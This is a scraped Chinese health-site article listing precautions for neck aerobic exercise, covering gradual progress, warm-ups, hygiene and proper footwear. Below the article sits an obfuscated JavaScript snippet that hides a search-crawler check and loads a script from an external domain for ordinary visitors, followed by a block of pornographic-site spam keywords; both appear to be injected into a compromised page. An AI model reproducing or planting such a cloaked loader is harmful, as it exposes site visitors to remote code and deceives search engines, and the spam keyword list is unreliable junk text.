當前位置:首頁 > 健康 > 運動健身 > 正文

頸部有氧健身操的注意事項是什么

2017-04-17 12:33:58  來源:360常識網   熱度:
導語:有氧健身操這種運動是能夠讓我們快速的去燃燒身體當中的脂肪,從而就可以起到一個非常好的運動減肥作用,特別是頸部的有氧健身操還能夠讓自

有氧健身操這種運動是能夠讓我們快速的去燃燒身體當中的脂肪,從而就可以起到一個非常好的運動減肥作用,特別是頸部的有氧健身操還能夠讓自己的頸部變得不是那么僵硬的,尤其是在做完工作以后就可以活動一下自己頸部的,這樣的話就不會讓自己出現頸部方面的疾病,不過在做頸部有氧健身操的時候要注意很多的事情。

循序漸進

剛開始時,應采取步伐走動的方式,以使身體和下肢有充分時間適應。開始不要做太長時間,以10分鐘為宜。

在步伐走動之前,先做熱身和適當的伸展運動,特別是下肢的適度伸展非常重要。天冷時,熱身時間要長,并多穿些衣服。在步伐走動前后測一下自己每分鐘脈搏數并記錄下來供參考。長時間鍛煉后,心肺耐力會增加,心率會降低,運動后心跳恢復正常較快。

初學者以每周兩三次,隔日為宜。然后可適當增加次數,直到自己感覺適量為止,絕對不要勉強。

衛生與健康

健身操運動后,要及時更換汗濕的衣服,避免著涼,特別是在空調房內運動后應做些伸展運動再行淋浴。

經常做有氧健身操者,要留心自己的腳部,常修剪腳趾甲。熱天運動出汗較多,汗留在趾縫中容易讓細菌滋生,所以應時常保持腳部皮膚干燥。

服飾要求

做健身操時,應穿合身透汗的健身操服,不要赤腳穿普通皮鞋。健身鞋應有較厚的護墊,以減緩足部與地面撞擊而造成的震蕩。鞋身不宜太軟,可采用半高筒式,以保護腳踝。

但是在做頸部有氧健身操的時候是一定要記住循序漸進的,不能夠太過于著急,因為在做運動的時候太著急的話就會讓自己扭傷頸部肌肉的,并且必須要進行適當的熱身,這對于劇烈的運動是非常有必要的事情,不然的話就會讓自己運動完了以后覺得心跳特別的快。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
91久久精品电影| 日本久久久精品中文字幕| 久久精品国产网红主播| 亚洲人成电影网站国产精品| 3d动漫精品一区视频在线观看 | 九九热在线精品视频| 精品国产三级在线观看| 亚洲国产综合91精品麻豆| 国产精品青青在线观看爽香蕉| 亚洲精品天堂无码中文字幕| 久久久久久久国产精品电影| 国产精品亚洲玖玖玖在线观看| 亚洲国产精品网站在线播放| 99热精品久久只有精品30| 国产精品尹人在线观看| 日本精品视频一区二区| 国产福利91精品一区二区| 国产精品久久久久久吹潮| 午夜三级国产精品理论三级 | 亚洲日韩国产精品无码av| 韩日美无码精品无码| 亚洲精品国产综合久久一线| 国产精品人人妻人人爽| 2021国产成人午夜精品| 人人妻人人澡人人爽人人精品电影| 久久精品国产WWW456C0M| 国产成人精品影院狼色在线| 中文字幕日韩精品一区二区三区 | 99久久免费精品视频| 韩日美无码精品无码| 精品久久综合1区2区3区激情 | 精品一区二区三区水蜜桃| 国产成人久久精品77777综合| 国产精品久久久久影视不卡| 蜜臀98精品国产免费观看| 久久精品国产亚洲精品2020 | 久久www免费人成精品香蕉| 少妇亚洲免费精品| 日本精品久久久久影院日本| 国产精品自拍电影| 国产精品林美惠子在线播放|